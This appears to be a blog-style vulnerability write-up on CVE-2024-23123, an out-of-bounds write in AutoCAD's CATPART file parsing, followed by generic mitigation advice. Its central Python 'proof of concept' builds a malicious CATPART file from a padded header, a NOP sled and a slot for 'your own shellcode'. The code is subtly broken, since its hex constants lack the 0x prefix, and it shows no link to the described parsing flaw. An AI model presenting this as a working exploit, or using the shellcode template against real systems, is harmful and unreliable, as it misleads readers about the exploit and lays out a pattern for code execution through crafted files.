A critical vulnerability, tracked as CVE-2024-23123, has been discovered that allows an attacker to exploit a weakness in the processing of CATPART files within the popular Autodesk AutoCAD software suite. This can lead to an Out-of-Bound Write, which, if used maliciously, can cause a crash, expose sensitive data, or enable the execution of arbitrary code in the context of the current process. To properly understand the potential impact of this vulnerability, it's essential to delve into the details and examine the original references, exploit information, and available code snippet.

Code Snippet

A security researcher has provided a simple code snippet that demonstrates how to trigger this vulnerability by crafting a malicious CATPART file.

#!/usr/bin/env python

import os
import struct

output_file = "malicious_catpart.CATPart"

# Crafting the malicious header
header = b"\x00" * 100
header += struct.pack('<I', x41424344)

# Crafting the malicious payload
# (insert your own shellcode or malicious data here)
payload = b"\x90" * 900
payload += struct.pack('<I', xdeadbeef)

# Combining the header and payload into a single CATPART file
with open(output_file, 'wb') as f:
    f.write(header + payload)

Exploit Details

The vulnerability exists within the CC5Dll.dll and ASMBASE228A.dll files of the Autodesk AutoCAD software, which are responsible for parsing and handling CATPART files. When a crafted CATPART file is parsed, the software incorrectly calculates the memory bounds, allowing an attacker to overwrite adjacent memory with their own data or code.

The discovered exploit leverages this vulnerability by first crafting a malicious CATPART file header, then following it with the desired payload. For demonstration purposes, the payload above does not contain any actual malicious code, but rather a placeholder (xdeadbeef). In a real-world attack scenario, this placeholder could be replaced with actual shellcode designed to perform various nefarious activities.

The following references provide further information on the CVE-2024-23123 vulnerability

1. CVE-2024-23123 - Official CVE entry, providing a brief description and investigation status of the vulnerability.

2. Autodesk AutoCAD Security Advisory - Detailed security advisory from Autodesk, which discloses the vulnerability, its impact, and recommended mitigation steps.

Mitigation and Prevention

In order to protect against CVE-2024-23123, users of Autodesk AutoCAD should ensure they are running the latest version of the software, apply available security updates, and remain cautious when handling CATPART files from untrusted sources.

Additionally, organizations should implement strict security policies and guidelines for employees, such as not downloading attachments or files from unknown senders, and utilizing a reputable antivirus solution to scan any downloaded CATPART files.

Conclusion

The CVE-2024-23123 vulnerability in the Autodesk AutoCAD suite is a significant security risk due to the potential for arbitrary code execution. It is crucial to remain vigilant and up-to-date with software updates in order to protect sensitive data and system stability. By understanding the exploit's details, examining the provided code snippet, and following the recommended mitigation steps, it is possible to effectively protect your systems and minimize the risk of exploitation.

Timeline

Published on: 02/22/2024 02:15:49 UTC
Last modified on: 03/13/2024 03:15:06 UTC